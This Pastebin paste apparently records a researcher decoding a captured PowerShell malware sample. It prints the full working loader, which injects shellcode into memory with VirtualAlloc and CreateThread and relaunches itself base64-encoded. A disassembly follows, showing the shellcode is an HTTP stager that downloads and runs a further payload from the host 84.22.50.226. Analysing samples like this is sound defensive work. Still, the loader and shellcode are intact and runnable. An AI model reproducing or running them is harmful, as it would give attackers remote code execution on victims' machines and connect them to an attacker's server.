API tools faq
paste
James_inthe_box

Decoded

James_inthe_box
Dec 6th, 2017
346
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.94 KB | None | 0 0
raw download clone embed print report
  1. $XloD = '$KbDH = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $KbDH -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0x0a,0x1a,0x00,0x00,0xe8,0x98,0x00,0x00,0x00,0x2f,0x30,0x54,0x57,0x4b,0x36,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x16,0x68,0x88,0x13,0x00,0x00,0x68,0x44,0xf0,0x35,0xe0,0xff,0xd5,0x4f,0x75,0xcd,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x69,0xff,0xff,0xff,0x38,0x34,0x2e,0x32,0x32,0x2e,0x35,0x30,0x2e,0x32,0x32,0x36,0x00;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$kOi=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($kOi.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$kOi,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($XloD));$Jrw = "-e ";if([IntPtr]::Size -eq 8){$gxZF = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $gxZF $Jrw $e"}else{;iex "& powershell $Jrw $e";}
  2.  
  3. above decoded:
  4. Hex dump: fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 31 db 53 53 53 53 53 68 3a 56 79 a7 ff d5 53 53 6a 03 53 53 68 0a 1a 00 00 e8 98 00 00 00 2f 30 54 57 4b 36 00 50 68 57 89 9f c6 ff d5 89 c6 53 68 00 32 e0 84 53 53 53 57 53 56 68 eb 55 2e 3b ff d5 96 6a 0a 5f 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 53 53 53 53 56 68 2d 06 18 7b ff d5 85 c0 75 16 68 88 13 00 00 68 44 f0 35 e0 ff d5 4f 75 cd 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 53 68 58 a4 53 e5 ff d5 93 53 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 cd 8b 07 01 c3 85 c0 75 e5 58 c3 5f e8 69 ff ff ff 38 34 2e 32 32 2e 35 30 2e 32 32 36 00
  5. 0x00000000 fc cld
  6. 0x00000001 e882000000 call 0x00000088
  7. 0x00000006 60 pushad
  8. 0x00000007 89e5 mov ebp,esp
  9. 0x00000009 31c0 xor eax,eax
  10. 0x0000000b 648b5030 fs: mov edx,dword [eax + 48]
  11. 0x0000000f 8b520c mov edx,dword [edx + 12]
  12. 0x00000012 8b5214 mov edx,dword [edx + 20]
  13. 0x00000015 8b7228 mov esi,dword [edx + 40]
  14. 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
  15. 0x0000001c 31ff xor edi,edi
  16. 0x0000001e ac lodsb
  17. 0x0000001f 3c61 cmp al,97
  18. 0x00000021 7c02 jl 0x00000025
  19. 0x00000023 2c20 sub al,32
  20. 0x00000025 c1cf0d ror edi,13
  21. 0x00000028 01c7 add edi,eax
  22. 0x0000002a e2f2 loop 0x0000001e
  23. 0x0000002c 52 push edx
  24. 0x0000002d 57 push edi
  25. 0x0000002e 8b5210 mov edx,dword [edx + 16]
  26. 0x00000031 8b4a3c mov ecx,dword [edx + 60]
  27. 0x00000034 8b4c1178 mov ecx,dword [ecx + edx + 120]
  28. 0x00000038 e348 jecxz 0x00000082
  29. 0x0000003a 01d1 add ecx,edx
  30. 0x0000003c 51 push ecx
  31. 0x0000003d 8b5920 mov ebx,dword [ecx + 32]
  32. 0x00000040 01d3 add ebx,edx
  33. 0x00000042 8b4918 mov ecx,dword [ecx + 24]
  34. 0x00000045 e33a jecxz 0x00000081
  35. 0x00000047 49 dec ecx
  36. 0x00000048 8b348b mov esi,dword [ebx + ecx * 4]
  37. 0x0000004b 01d6 add esi,edx
  38. 0x0000004d 31ff xor edi,edi
  39. 0x0000004f ac lodsb
  40. 0x00000050 c1cf0d ror edi,13
  41. 0x00000053 01c7 add edi,eax
  42. 0x00000055 38e0 cmp al,ah
  43. 0x00000057 75f6 jnz 0x0000004f
  44. 0x00000059 037df8 add edi,dword [ebp - 8]
  45. 0x0000005c 3b7d24 cmp edi,dword [ebp + 36]
  46. 0x0000005f 75e4 jnz 0x00000045
  47. 0x00000061 58 pop eax
  48. 0x00000062 8b5824 mov ebx,dword [eax + 36]
  49. 0x00000065 01d3 add ebx,edx
  50. 0x00000067 668b0c4b mov cx,word [ebx + ecx * 2]
  51. 0x0000006b 8b581c mov ebx,dword [eax + 28]
  52. 0x0000006e 01d3 add ebx,edx
  53. 0x00000070 8b048b mov eax,dword [ebx + ecx * 4]
  54. 0x00000073 01d0 add eax,edx
  55. 0x00000075 89442424 mov dword [esp + 36],eax
  56. 0x00000079 5b pop ebx
  57. 0x0000007a 5b pop ebx
  58. 0x0000007b 61 popad
  59. 0x0000007c 59 pop ecx
  60. 0x0000007d 5a pop edx
  61. 0x0000007e 51 push ecx
  62. 0x0000007f ffe0 jmp eax
  63. 0x00000081 5f pop edi
  64. 0x00000082 5f pop edi
  65. 0x00000083 5a pop edx
  66. 0x00000084 8b12 mov edx,dword [edx]
  67. 0x00000086 eb8d jmp 0x00000015
  68. 0x00000088 5d pop ebp
  69. 0x00000089 686e657400 push 0x0074656e--> 'ten'
  70. 0x0000008e 6877696e69 push 0x696e6977--> 'iniw'
  71. 0x00000093 54 push esp
  72. 0x00000094 684c772607 push 0x0726774c--> '&wL'
  73. 0x00000099 ffd5 call ebp --> kernel32.dll!LoadLibraryA
  74. 0x0000009b 31db xor ebx,ebx
  75. 0x0000009d 53 push ebx
  76. 0x0000009e 53 push ebx
  77. 0x0000009f 53 push ebx
  78. 0x000000a0 53 push ebx
  79. 0x000000a1 53 push ebx
  80. 0x000000a2 683a5679a7 push 0xa779563a--> 'yV:'
  81. 0x000000a7 ffd5 call ebp --> wininet.dll!InternetOpenA
  82. 0x000000a9 53 push ebx
  83. 0x000000aa 53 push ebx
  84. 0x000000ab 6a03 push 3
  85. 0x000000ad 53 push ebx
  86. 0x000000ae 53 push ebx
  87. 0x000000af 680a1a0000 push 0x00001a0a
  88. 0x000000b4 e898000000 call 0x00000151
  89. 0x000000b9 2f das
  90. 0x000000ba 3054574b xor byte [edi + edx * 2 + 75],dl
  91. 0x000000be 36005068 ss: add byte [eax + 104],dl
  92. 0x000000c2 57 push edi
  93. 0x000000c3 899fc6ffd589 mov dword [edi - 1982464058],ebx
  94. 0x000000c9 c6536800 mov byte [ebx + 104],0
  95. 0x000000cd 32e0 xor ah,al
  96. 0x000000cf 845353 test byte [ebx + 83],dl
  97. 0x000000d2 53 push ebx
  98. 0x000000d3 57 push edi
  99. 0x000000d4 53 push ebx
  100. 0x000000d5 56 push esi
  101. 0x000000d6 68eb552e3b push 0x3b2e55eb--> ';.U'
  102. 0x000000db ffd5 call ebp --> wininet.dll!HttpOpenRequestA
  103. 0x000000dd 96 xchg eax,esi
  104. 0x000000de 6a0a push 10
  105. 0x000000e0 5f pop edi
  106. 0x000000e1 6880330000 push 0x00003380
  107. 0x000000e6 89e0 mov eax,esp
  108. 0x000000e8 6a04 push 4
  109. 0x000000ea 50 push eax
  110. 0x000000eb 6a1f push 31
  111. 0x000000ed 56 push esi
  112. 0x000000ee 6875469e86 push 0x869e4675--> 'Fu'
  113. 0x000000f3 ffd5 call ebp --> wininet.dll!InternetSetOptionA
  114. 0x000000f5 53 push ebx
  115. 0x000000f6 53 push ebx
  116. 0x000000f7 53 push ebx
  117. 0x000000f8 53 push ebx
  118. 0x000000f9 56 push esi
  119. 0x000000fa 682d06187b push 0x7b18062d--> '{-'
  120. 0x000000ff ffd5 call ebp --> wininet.dll!HttpSendRequestA
  121. 0x00000101 85c0 test eax,eax
  122. 0x00000103 7516 jnz 0x0000011b
  123. 0x00000105 6888130000 push 0x00001388
  124. 0x0000010a 6844f035e0 push 0xe035f044--> '5D'
  125. 0x0000010f ffd5 call ebp --> kernel32.dll!Sleep
  126. 0x00000111 4f dec edi
  127. 0x00000112 75cd jnz 0x000000e1
  128. 0x00000114 68f0b5a256 push 0x56a2b5f0
  129. 0x00000119 ffd5 call ebp --> kernel32.dll!ExitProcess
  130. 0x0000011b 6a40 push 64
  131. 0x0000011d 6800100000 push 4096
  132. 0x00000122 6800004000 push 0x00400000
  133. 0x00000127 53 push ebx
  134. 0x00000128 6858a453e5 push 0xe553a458--> 'SX'
  135. 0x0000012d ffd5 call ebp --> kernel32.dll!VirtualAlloc
  136. 0x0000012f 93 xchg eax,ebx
  137. 0x00000130 53 push ebx
  138. 0x00000131 53 push ebx
  139. 0x00000132 89e7 mov edi,esp
  140. 0x00000134 57 push edi
  141. 0x00000135 6800200000 push 0x00002000
  142. 0x0000013a 53 push ebx
  143. 0x0000013b 56 push esi
  144. 0x0000013c 68129689e2 push 0xe2899612
  145. 0x00000141 ffd5 call ebp --> wininet.dll!InternetReadFile
  146. 0x00000143 85c0 test eax,eax
  147. 0x00000145 74cd jz 0x00000114
  148. 0x00000147 8b07 mov eax,dword [edi]
  149. 0x00000149 01c3 add ebx,eax
  150. 0x0000014b 85c0 test eax,eax
  151. 0x0000014d 75e5 jnz 0x00000134
  152. 0x0000014f 58 pop eax
  153. 0x00000150 c3 ret
  154. 0x00000151 5f pop edi
  155. 0x00000152 e869ffffff call 0x000000c0
  156. 0x00000157 38342e cmp byte [esi + ebp],dh
  157. 0x0000015a 3232 xor dh,byte [edx]
  158. 0x0000015c 2e35302e3232 cs: xor eax,0x32322e30
  159.  
  160. Byte Dump:
  161. ......`..1.d.P0.R.R..r(..J&1..<a|.,......RW.R..J<.L.x.H..Q.Y...I..:I.4...1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..__Z....]hnet.hwiniThLw&...1.SSSSSh:Vy...SSj.SSh......../0TWK6.PhW.......Sh.2..SSSWSVh.U.;...j_h.3....j.Pj.VhuF....SSSSVh-..{[email protected][email protected]._.i...84.22.50.226.
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!